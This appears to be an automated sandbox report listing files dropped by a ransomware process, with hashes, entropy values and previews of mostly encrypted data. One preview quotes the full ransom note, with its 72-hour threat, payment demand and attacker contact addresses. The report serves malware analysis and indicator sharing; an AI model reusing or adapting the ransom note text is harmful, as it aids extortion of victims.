                                                                                                                                                                Preview:'h....%..@...Ncew....lq.O.(."..6..X...J{_.U.P...kW-z....%.39v.3.......p..k"..I...4...srzX.9`;..G.].7........T.d;E....,....zH.t...sV})Dl...3.U.B=..S..5.....J~..t..8*.}..x..Q.q........O.l!?..r.QM..l..5..`.#. h..T........Y...........'?....4&....A......a..2U.!E.Y..\LMW%L.k..s1.../.].>...m...=.d.....u.q...A.s..c.....D....-.0*B...._.....M...........|..p....J.'..fq.....dHw).....O.nM.........Z.4.Y...../;.4..........@.R..w.]....8..a.-~..L......C.....a.k..?....i7TkU..:.fZ..}\./...l7W._I....Z.a....*..:.+...{.......Y.k..O..D4..U.0q..SY...%J.7<A7....`N.K...}..r..._.m..e.../&|W...M"u..%......3..i.{$..y..{&.~.j...KS...3~..P....`.NE...U..]..g.-...w.`..?....Z.....r.....K'...:.,....Y..p.YAK....|f.;*..,.W.........w.-Eu.ms..{...|....>#...U=.7..c.5....C.....2.&"z.....qO....!........K....;;9O(.@..^St....*..;.|n....J../.....&s.z$f.E.at.[.n.....t./.6gR.......zP....z..yK.5.t.F.FmT......K.A.p..j.N.R...?i_..n./..&.pK.to...@0.^ u...-."...u.:.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.865699209044884
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:NGnWoVH54GmLybND3aLLVrUCSOP+qcPUDmI2zHlGigjCPcASX8gcmR:m4GqyB3a2FYyzrgjjEZmR
                                                                                                                                                                MD5:ACB65A772119FDF7DFFA609CD83B3963
                                                                                                                                                                SHA1:0E50A3C22B7AB8581D0FCD82F8C0B418810A7708
                                                                                                                                                                SHA-256:7EFFE5BE6FA783A5532B7649B77F9B22C5686B708679B584BFCF6112CAF8C2AA
                                                                                                                                                                SHA-512:9C92844D20FAB30E19289AFFB62E0CF2A8E335EE2BC1280703B611F1B523D99C8629A891CF61618CAE62D9D6D53474DE97B0BAD29DD4AF63A1E14CD0BD2CF7BC
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:'h....%..@...Ncew....lq.O.(."..6..X...J{_.U.P...kW-z....%.39v.3.......p..k"..I...4...srzX.9`;..G.].7........T.d;E....,....zH.t...sV})Dl...3.U.B=..S..5.....J~..t..8*.}..x..Q.q........O.l!?..r.QM..l..5..`.#. h..T........Y...........'?....4&....A......a..2U.!E.Y..\LMW%L.k..s1.../.].>...m...=.d.....u.q...A.s..c.....D....-.0*B...._.....M...........|..p....J.'..fq.....dHw).....O.nM.........Z.4.Y...../;.4..........@.R..w.]....8..a.-~..L......C.....a.k..?....i7TkU..:.fZ..}\./...l7W._I....Z.a....*..:.+...{.......Y.k..O..D4..U.0q..SY...%J.7<A7....`N.K...}..r..._.m..e.../&|W...M"u..%......3..i.{$..y..{&.~.j...KS...3~..P....`.NE...U..]..g.-...w.`..?....Z.....r.....K'...:.,....Y..p.YAK....|f.;*..,.W.........w.-Eu.ms..{...|....>#...U=.7..c.5....C.....2.&"z.....qO....!........K....;;9O(.@..^St....*..;.|n....J../.....&s.z$f.E.at.[.n.....t./.6gR.......zP....z..yK.5.t.F.FmT......K.A.p..j.N.R...?i_..n./..&.pK.to...@0.^ u...-."...u.:.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.834654937063511
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:zBrTwU7YdPjivQ6G2J2isO6nhCYky9yPMliYbWRWaUNU9qRpofKdH4j2c4sH:1rT7767SQSnsdnhXkygkQYbWRUUMpFdC
                                                                                                                                                                MD5:C1EAFF6A74036F41446CB8F85AFDFD16
                                                                                                                                                                SHA1:907BD1696874424E49E31E3C9F9CE5A2B31D6E9C
                                                                                                                                                                SHA-256:DA4EF82C82232D5B74CEA9BB316A75FCBE0CC3F593B79DF7D35D6A60643905E1
                                                                                                                                                                SHA-512:33AA35858F4279A53011FB8E9E6C46EB8C10ECA557F89BE60B794CB9417E53203C37DEA413F8821CEA2FCF52E6F403356ABDA68F06395E076A68DC532A44A408
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.M.).WVT..R.o._.f;....).>.+....Q..-.V'R.{.V.p../..].l).;..../.h.&..l81..Q.....Hd.....nl...ZMC./..u......\(e.Z.OO.....}....@....S\sw.(.J.\v=IJ...... ........Kv...U.5...*.....<V.(".M.a.......l!V'..........O..M.g..M..j.)s<...tV...BZ...~.&<:.w.....G..F.!......aU:..u..U@8.b.s;w%-.=.z.rU....0..A.3.rLs.R..q....8..S.....nT..#..0H..g&..F..v.uR...^p9!.<n..{.,.0...:.....q(..~-....h..".).~.Au....1>j:.._.U?o.C'.....3....\%..J.L2-...>.a........iq`|......8...LE....#.O.,?/]O3.w..H.J.SZ..#...-.r....71.!1..F.....+....v.Y...'*.3.HH.'..`/;....\/.......0.6.]..I..I...v[V...N..<..I..c......o.@....R....#H...S.O../.....x")v*..w....q....a.T..q..Pc..^XY.T.&.zj.....B..t?T.....f..B..g..-.T........l.?.....!..$T...a.4x.../...N..j..U:....7..s..e...E.Q.M ).I...[i..w..._..Gy....8g..........F8...E...I(..;.X`.mf..B.[...c....NW2.W..m.Ly.KZ..,{_t..R.....Rd..X..OI..8c....%..\.........-l..K.h_.....L.........$...w.....Ql..a.-..1.......h.....8M.BdJ.lHS..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.834654937063511
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:zBrTwU7YdPjivQ6G2J2isO6nhCYky9yPMliYbWRWaUNU9qRpofKdH4j2c4sH:1rT7767SQSnsdnhXkygkQYbWRUUMpFdC
                                                                                                                                                                MD5:C1EAFF6A74036F41446CB8F85AFDFD16
                                                                                                                                                                SHA1:907BD1696874424E49E31E3C9F9CE5A2B31D6E9C
                                                                                                                                                                SHA-256:DA4EF82C82232D5B74CEA9BB316A75FCBE0CC3F593B79DF7D35D6A60643905E1
                                                                                                                                                                SHA-512:33AA35858F4279A53011FB8E9E6C46EB8C10ECA557F89BE60B794CB9417E53203C37DEA413F8821CEA2FCF52E6F403356ABDA68F06395E076A68DC532A44A408
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.M.).WVT..R.o._.f;....).>.+....Q..-.V'R.{.V.p../..].l).;..../.h.&..l81..Q.....Hd.....nl...ZMC./..u......\(e.Z.OO.....}....@....S\sw.(.J.\v=IJ...... ........Kv...U.5...*.....<V.(".M.a.......l!V'..........O..M.g..M..j.)s<...tV...BZ...~.&<:.w.....G..F.!......aU:..u..U@8.b.s;w%-.=.z.rU....0..A.3.rLs.R..q....8..S.....nT..#..0H..g&..F..v.uR...^p9!.<n..{.,.0...:.....q(..~-....h..".).~.Au....1>j:.._.U?o.C'.....3....\%..J.L2-...>.a........iq`|......8...LE....#.O.,?/]O3.w..H.J.SZ..#...-.r....71.!1..F.....+....v.Y...'*.3.HH.'..`/;....\/.......0.6.]..I..I...v[V...N..<..I..c......o.@....R....#H...S.O../.....x")v*..w....q....a.T..q..Pc..^XY.T.&.zj.....B..t?T.....f..B..g..-.T........l.?.....!..$T...a.4x.../...N..j..U:....7..s..e...E.Q.M ).I...[i..w..._..Gy....8g..........F8...E...I(..;.X`.mf..B.[...c....NW2.W..m.Ly.KZ..,{_t..R.....Rd..X..OI..8c....%..\.........-l..K.h_.....L.........$...w.....Ql..a.-..1.......h.....8M.BdJ.lHS..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.843511290066244
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:0HFpVkPHvTFzQV9IQc9AjbvfMGPSMLA3QXkxC9wIqP4L6XdM7855lFkdPa:8FpN9IQTvvPSx6kQ9wR4kdMozkdy
                                                                                                                                                                MD5:2645DD905835D017BDF63CA46AE22D1D
                                                                                                                                                                SHA1:6189D238F81B7EB35C566BE9DD076F86ADBCE7C1
                                                                                                                                                                SHA-256:6E74CE8BCE3D25B2AD1F0BB3CEE912B9738F5441E5C74A655BEAAC7BCF9FA170
                                                                                                                                                                SHA-512:685B3841394B31307315390F2BD793D8F264EC8759C0E94B21463DF74F25853BC43C19222F22CA921DCDC1C71E550D0FD7AB124625676A0ABB6B1BD2EB008323
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.[~S....1.1O5c..e...]..]:...x../.3.O..*i.tN.J..5s.M.9....\k.*....... .[y.FRJ...v.V.^.`.i.>.).E..a.2..l...l.m..j..uA....]..-p.{...N.<n..W...G....z..g!.%..U.e.|./...w..........F`..r.|,..]......53...1.|@+...D7v..._..(..!....eVv..K..>4v..6.....u.w.*..d....Dn..nKczT..wB.......0.....>...TV,...g...KqW(..;.'M.'.K.E..J..'$.&QO}.......lP...t.<.2|-C..:.~.....<..T .p..M...9..-.@`YA....5B......p.+.s..%....>*...P.w.)..=J}.^2.L...|.a[/|...~. z'.4i..$...i....y.@.}...D.z\."i..&-(.w.>....#.:=..M. .R.b,"%)-..|..F.#?...;b...W1....M.....@317 ...B.....l... ".#.Y.(c..X....w..#.I.....K6j.............MMF...-..~D..i._..:..D...\...w%.no.H~.(..........3....VU`...X..rE.'.r....w~rp.{.....W}1.....J.k.......V......q]H...c.!j.|h...6......CeNdPn.J.p.$.ZC.].Z.$@.^.....)r.....sE|..n.!eTL7..\..S.nc..g..%].c!..f]G0.T.c.....|.I ....9`v.ab.:......{.!= ..N....xO.P.g<B|;.z...*.4...G..!..(.........z...>..[../.h&..1..]4.....u.'.5.qc...@...E....OS<..N.K.\...s%...r.{....u.e..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.843511290066244
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:0HFpVkPHvTFzQV9IQc9AjbvfMGPSMLA3QXkxC9wIqP4L6XdM7855lFkdPa:8FpN9IQTvvPSx6kQ9wR4kdMozkdy
                                                                                                                                                                MD5:2645DD905835D017BDF63CA46AE22D1D
                                                                                                                                                                SHA1:6189D238F81B7EB35C566BE9DD076F86ADBCE7C1
                                                                                                                                                                SHA-256:6E74CE8BCE3D25B2AD1F0BB3CEE912B9738F5441E5C74A655BEAAC7BCF9FA170
                                                                                                                                                                SHA-512:685B3841394B31307315390F2BD793D8F264EC8759C0E94B21463DF74F25853BC43C19222F22CA921DCDC1C71E550D0FD7AB124625676A0ABB6B1BD2EB008323
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.[~S....1.1O5c..e...]..]:...x../.3.O..*i.tN.J..5s.M.9....\k.*....... .[y.FRJ...v.V.^.`.i.>.).E..a.2..l...l.m..j..uA....]..-p.{...N.<n..W...G....z..g!.%..U.e.|./...w..........F`..r.|,..]......53...1.|@+...D7v..._..(..!....eVv..K..>4v..6.....u.w.*..d....Dn..nKczT..wB.......0.....>...TV,...g...KqW(..;.'M.'.K.E..J..'$.&QO}.......lP...t.<.2|-C..:.~.....<..T .p..M...9..-.@`YA....5B......p.+.s..%....>*...P.w.)..=J}.^2.L...|.a[/|...~. z'.4i..$...i....y.@.}...D.z\."i..&-(.w.>....#.:=..M. .R.b,"%)-..|..F.#?...;b...W1....M.....@317 ...B.....l... ".#.Y.(c..X....w..#.I.....K6j.............MMF...-..~D..i._..:..D...\...w%.no.H~.(..........3....VU`...X..rE.'.r....w~rp.{.....W}1.....J.k.......V......q]H...c.!j.|h...6......CeNdPn.J.p.$.ZC.].Z.$@.^.....)r.....sE|..n.!eTL7..\..S.nc..g..%].c!..f]G0.T.c.....|.I ....9`v.ab.:......{.!= ..N....xO.P.g<B|;.z...*.4...G..!..(.........z...>..[../.h&..1..]4.....u.'.5.qc...@...E....OS<..N.K.\...s%...r.{....u.e..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8567230493579086
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:V+fQZdObxSXF8bMoRJRz75y5xYKizmHg2WL5/ynsAS93ZI6QjxDuKeLw:VHZYUXF8woR1yPYfzqghL5ynBS9fh0
                                                                                                                                                                MD5:503B683BB82ABDA99E6BFDCE6AF5B324
                                                                                                                                                                SHA1:EAEFB9CA224B2503737EF7B5E1721DCC73D2DF12
                                                                                                                                                                SHA-256:7B44165DD9FC1572AE015BD540F7C833B6B5FC4FEE4554CF3D4A8D4296C96EC2
                                                                                                                                                                SHA-512:11AE24A336EA5F565AC895D9406D0F2F8FF120843669278F085D7A75724357950DC8347DBE3F0596241374610870BF3B9927F2FC7FE2D18D0B2FCA6E32F4B666
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:#.Q.9W.D.....g..s.B.jB.'./.L..).......q...8....B&g.QD..n..A.4C.|..h...Um.U.....J.X...4G?. .....r.OB."1'...b..T.4V7"H..M..!,.8.aJo.or$|=...r...DL."g.._..-.];.V..0.....Xy4..;...I...A.P.Z..P0..C>..!^.C=>.Hl-f..'m[..2(..=..M.`P.j.R..A'........%.....69.v..N.v.,......rf....$..L.e.P........V...-{d)'y8Q. .J[.S-Ge.+.h.Z....^(...'..I...k.Lb#..&.`.....+...1...Ngo..r.. [JK.W..6go.EO..'h.............@.%?+z.@.........\...:...^....MU_D.r.p......#...'...E3...TD.K|..<2.5...D.4?.....f..rqn.z...B~......V/..:.y..\......}]p#...H.v.......)..2.......~.c....Y....j ..N.......b...7....G.Cl$.'....KX......q......q1n.T.0.@.....{!4Dn.e(..u.w+.;.....GTa..ZU......jA9...$)).b.;......%P.&)..(..X..k.J..#=...t6v....U.{.].#...@1..HKt...:..[..>*"U...]=l;eJ.I.. N..Z.FK=w.H.V.4.....c..\.f......./...1q..n^<]63..in...A2..k....%$.....t.........V`9U..$.Ej...~t<... U...|.......5....n0..+e...,... O..i...-.......yt!....d.~.....J..Z...DcU..aY...T..o...:&...........R..z..z....Ecy..i,k.:/,.+.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8567230493579086
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:V+fQZdObxSXF8bMoRJRz75y5xYKizmHg2WL5/ynsAS93ZI6QjxDuKeLw:VHZYUXF8woR1yPYfzqghL5ynBS9fh0
                                                                                                                                                                MD5:503B683BB82ABDA99E6BFDCE6AF5B324
                                                                                                                                                                SHA1:EAEFB9CA224B2503737EF7B5E1721DCC73D2DF12
                                                                                                                                                                SHA-256:7B44165DD9FC1572AE015BD540F7C833B6B5FC4FEE4554CF3D4A8D4296C96EC2
                                                                                                                                                                SHA-512:11AE24A336EA5F565AC895D9406D0F2F8FF120843669278F085D7A75724357950DC8347DBE3F0596241374610870BF3B9927F2FC7FE2D18D0B2FCA6E32F4B666
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:#.Q.9W.D.....g..s.B.jB.'./.L..).......q...8....B&g.QD..n..A.4C.|..h...Um.U.....J.X...4G?. .....r.OB."1'...b..T.4V7"H..M..!,.8.aJo.or$|=...r...DL."g.._..-.];.V..0.....Xy4..;...I...A.P.Z..P0..C>..!^.C=>.Hl-f..'m[..2(..=..M.`P.j.R..A'........%.....69.v..N.v.,......rf....$..L.e.P........V...-{d)'y8Q. .J[.S-Ge.+.h.Z....^(...'..I...k.Lb#..&.`.....+...1...Ngo..r.. [JK.W..6go.EO..'h.............@.%?+z.@.........\...:...^....MU_D.r.p......#...'...E3...TD.K|..<2.5...D.4?.....f..rqn.z...B~......V/..:.y..\......}]p#...H.v.......)..2.......~.c....Y....j ..N.......b...7....G.Cl$.'....KX......q......q1n.T.0.@.....{!4Dn.e(..u.w+.;.....GTa..ZU......jA9...$)).b.;......%P.&)..(..X..k.J..#=...t6v....U.{.].#...@1..HKt...:..[..>*"U...]=l;eJ.I.. N..Z.FK=w.H.V.4.....c..\.f......./...1q..n^<]63..in...A2..k....%$.....t.........V`9U..$.Ej...~t<... U...|.......5....n0..+e...,... O..i...-.......yt!....d.~.....J..Z...DcU..aY...T..o...:&...........R..z..z....Ecy..i,k.:/,.+.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.856136011282413
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:jamNfJpExBSGWHJm/8DmgvMx4YN+TiYbBDnG/vAY7QI33rpxpaLCbQbB:mSxqxBXWHO8TMa0yiYbBrCDn33rpMOQ9
                                                                                                                                                                MD5:D541350B6A367C7C85FAB23043151BB7
                                                                                                                                                                SHA1:9611749B69DAFE0CC0A1B2F70915201FF6A29F9D
                                                                                                                                                                SHA-256:63F88053528B2602A7D6B30D79BBEADA2A0143A944F1A9464B0DAC6E7C190CBE
                                                                                                                                                                SHA-512:D18DA021E8A87F6CD1CEDBED9841A93187E4B4FB5FF70414866EE2189727797B002C75A088527492FE19AE355743BF3D51378E2F734397C346F6AD292DDDFA79
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.F.T~.U\YL...}...\.4kQEb'.!P..N..YM'Gp...0.1..^....F.A...6.....3.O...J..Ezi..l;....J....#<%...>...?...VK^..'.u..b..R..W..T (R.B..J..3.bSi.m..q..R...R..w....~.".b|.f...l?....".-X...n......Ib../.G.*!....5...`...9...'...8........f..Q......$..k..}O.`..#..s>s!>ta.(..l.d.....<.jK.3....z^a.^$..YR...mn.BpK..:.q.z9..+nA|Py..B ]...H....#W(..1.HS..h.B...E.@.c$o~..#CS....<..T`}Y._..Y..^.... .<.!OQ...F...U..L...xi.y....X..^...p<.$>A.IO..\x..O..#...rO.-...n....<.z.^.....[..@.L..Af...:......o.....@G.h..d5.-7>.....~.(..E.....Lu>.b..4.?.0Z...df.Q.}.......3>.....\..%PI..4...,...f.....m.Ii......h.m.^..Zv#.......uc...,[,.c....%V.O>/$....7~Ji.....aBD...E.C..VR...4m.....M.H....&.=3...a...}..t.3.}.(..l...../On.....by~c.+..s...B.......&..t.D..K....n.. ..!.......Gn...M...U...@...a...._s.A.....D.......A...@r..q1..N.....+......G). .....G.....Ii.1....f\..{}....h...v..A.P..w...._.V...j[{..6}....z.zFg.Z...R..vM.y@Ba&M.#.}....:.5%....S...Z0..L..*.......p!....w..1
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.856136011282413
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:jamNfJpExBSGWHJm/8DmgvMx4YN+TiYbBDnG/vAY7QI33rpxpaLCbQbB:mSxqxBXWHO8TMa0yiYbBrCDn33rpMOQ9
                                                                                                                                                                MD5:D541350B6A367C7C85FAB23043151BB7
                                                                                                                                                                SHA1:9611749B69DAFE0CC0A1B2F70915201FF6A29F9D
                                                                                                                                                                SHA-256:63F88053528B2602A7D6B30D79BBEADA2A0143A944F1A9464B0DAC6E7C190CBE
                                                                                                                                                                SHA-512:D18DA021E8A87F6CD1CEDBED9841A93187E4B4FB5FF70414866EE2189727797B002C75A088527492FE19AE355743BF3D51378E2F734397C346F6AD292DDDFA79
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.F.T~.U\YL...}...\.4kQEb'.!P..N..YM'Gp...0.1..^....F.A...6.....3.O...J..Ezi..l;....J....#<%...>...?...VK^..'.u..b..R..W..T (R.B..J..3.bSi.m..q..R...R..w....~.".b|.f...l?....".-X...n......Ib../.G.*!....5...`...9...'...8........f..Q......$..k..}O.`..#..s>s!>ta.(..l.d.....<.jK.3....z^a.^$..YR...mn.BpK..:.q.z9..+nA|Py..B ]...H....#W(..1.HS..h.B...E.@.c$o~..#CS....<..T`}Y._..Y..^.... .<.!OQ...F...U..L...xi.y....X..^...p<.$>A.IO..\x..O..#...rO.-...n....<.z.^.....[..@.L..Af...:......o.....@G.h..d5.-7>.....~.(..E.....Lu>.b..4.?.0Z...df.Q.}.......3>.....\..%PI..4...,...f.....m.Ii......h.m.^..Zv#.......uc...,[,.c....%V.O>/$....7~Ji.....aBD...E.C..VR...4m.....M.H....&.=3...a...}..t.3.}.(..l...../On.....by~c.+..s...B.......&..t.D..K....n.. ..!.......Gn...M...U...@...a...._s.A.....D.......A...@r..q1..N.....+......G). .....G.....Ii.1....f\..{}....h...v..A.P..w...._.V...j[{..6}....z.zFg.Z...R..vM.y@Ba&M.#.}....:.5%....S...Z0..L..*.......p!....w..1
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.847772238612514
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:cjF6rxSOgDPXKHEopw8OxJAb7BTRHEuM+JSnKQMO5HYlj76qY1q9/Q:cKrgDyHNpIA/BTRj5JpQF5HYt7Ri
                                                                                                                                                                MD5:2445C79B4A7D700AD5066ECFFBFA3200
                                                                                                                                                                SHA1:8AD37AC7B525821594293259E39A30ADCFA5E243
                                                                                                                                                                SHA-256:397C5CB1D6E63EBF1C59D7C2173B30EE9EA0F163E1F0869837FFFE2980243E9A
                                                                                                                                                                SHA-512:00C8116B76F13DA452871F6D353A8E2C8FA12FB5A85446786258D41ED9D532700FB8742EA47128F02C8DB3767AD44A7EDF35B20143654A3FE3D4799050A4ACB2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.GO......]..{p,R.,PB.$..}[.`..e..`..'".b..4f..#Tv.!....X53k?b....v..u[..:?.L.!uZ.-..o...uht.:?.iL.X\..?3_2.E..q..........)-...18.Xg......i.D.Z.3]s)...5..u~...........D...!|..~.+=.@.t...-...5a.z.FY...v.!..".:P.[[`.......J.4`..q...{.VG/.QE...Z..CQb...z.Ka.?.....1#.y..eE...2...Pu.e.....!;W!.......y.... .g+.NH@lz.H..2..Z.....rS..Xs,H..|.p.....8...4o.....,~.|..~.....01.8.bAG......QLP.T..?|.|. u.?.b./BL[...A..Q....(.W....{.j.r.lkM..hC..a9iV....n./...|.uS..t..R...).......;.. ..6..9...^...;=).....Ct.+."...o:...y:E..m...'.E,.s*...5....=l....g4.f..F.P.:...5zvO..H.:.. .....W.m.q.<6R...b`.B...`.b!.."R#..-'M..*Z.Qy..U..IF.]5..(.,...R.4+..&..C.....?......evw....^E..z.R.[.....m4....9I%`{...q...i;..!..=..p.NP._....;z;.0g...P.s..9R.|..~2E+.......|B.r~..U.8J....B..!..Q.....N-...Q....=~.=.0.8.m...rd..L6.]5.U...p/.-.L..b.....\a....qD.=;.7.".5.9nMJ..r.P..1.....D....P..."R.L..:...G..B..#.n03.}._R.%..,..r6.O...}..+JA...T.......N.OG.....p.N...9...2..5?].
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.847772238612514
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:cjF6rxSOgDPXKHEopw8OxJAb7BTRHEuM+JSnKQMO5HYlj76qY1q9/Q:cKrgDyHNpIA/BTRj5JpQF5HYt7Ri
                                                                                                                                                                MD5:2445C79B4A7D700AD5066ECFFBFA3200
                                                                                                                                                                SHA1:8AD37AC7B525821594293259E39A30ADCFA5E243
                                                                                                                                                                SHA-256:397C5CB1D6E63EBF1C59D7C2173B30EE9EA0F163E1F0869837FFFE2980243E9A
                                                                                                                                                                SHA-512:00C8116B76F13DA452871F6D353A8E2C8FA12FB5A85446786258D41ED9D532700FB8742EA47128F02C8DB3767AD44A7EDF35B20143654A3FE3D4799050A4ACB2
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.GO......]..{p,R.,PB.$..}[.`..e..`..'".b..4f..#Tv.!....X53k?b....v..u[..:?.L.!uZ.-..o...uht.:?.iL.X\..?3_2.E..q..........)-...18.Xg......i.D.Z.3]s)...5..u~...........D...!|..~.+=.@.t...-...5a.z.FY...v.!..".:P.[[`.......J.4`..q...{.VG/.QE...Z..CQb...z.Ka.?.....1#.y..eE...2...Pu.e.....!;W!.......y.... .g+.NH@lz.H..2..Z.....rS..Xs,H..|.p.....8...4o.....,~.|..~.....01.8.bAG......QLP.T..?|.|. u.?.b./BL[...A..Q....(.W....{.j.r.lkM..hC..a9iV....n./...|.uS..t..R...).......;.. ..6..9...^...;=).....Ct.+."...o:...y:E..m...'.E,.s*...5....=l....g4.f..F.P.:...5zvO..H.:.. .....W.m.q.<6R...b`.B...`.b!.."R#..-'M..*Z.Qy..U..IF.]5..(.,...R.4+..&..C.....?......evw....^E..z.R.[.....m4....9I%`{...q...i;..!..=..p.NP._....;z;.0g...P.s..9R.|..~2E+.......|B.r~..U.8J....B..!..Q.....N-...Q....=~.=.0.8.m...rd..L6.]5.U...p/.-.L..b.....\a....qD.=;.7.".5.9nMJ..r.P..1.....D....P..."R.L..:...G..B..#.n03.}._R.%..,..r6.O...}..+JA...T.......N.OG.....p.N...9...2..5?].
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8284575929112155
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:QINWu2r7YC9bBDMYeTx2sgYQdtGp0c64dRm5YQU95V7RuKw5:Qg72r7ve4zjY0p4Tm5VU95pRux
                                                                                                                                                                MD5:D80BC5316739C89F00BD3AF95E7390D7
                                                                                                                                                                SHA1:446043A24A80CD2C9BDAF3F16CC70293744915E6
                                                                                                                                                                SHA-256:BDF5EF6E978FB6E77864E662E5D5733F84EF7ED716AEA34225558D315FDA15AF
                                                                                                                                                                SHA-512:B37DC3D4B1DAED1E8E5BA0BA62200AC9AFE36A969EAB116BB24CC68A6BF6CD8BD01C166234074CC4BFB7B1520E1AF22BB160E44B6F3454EB33AEC8C62BF8A0F9
                                                                                                                                                                Malicious:false
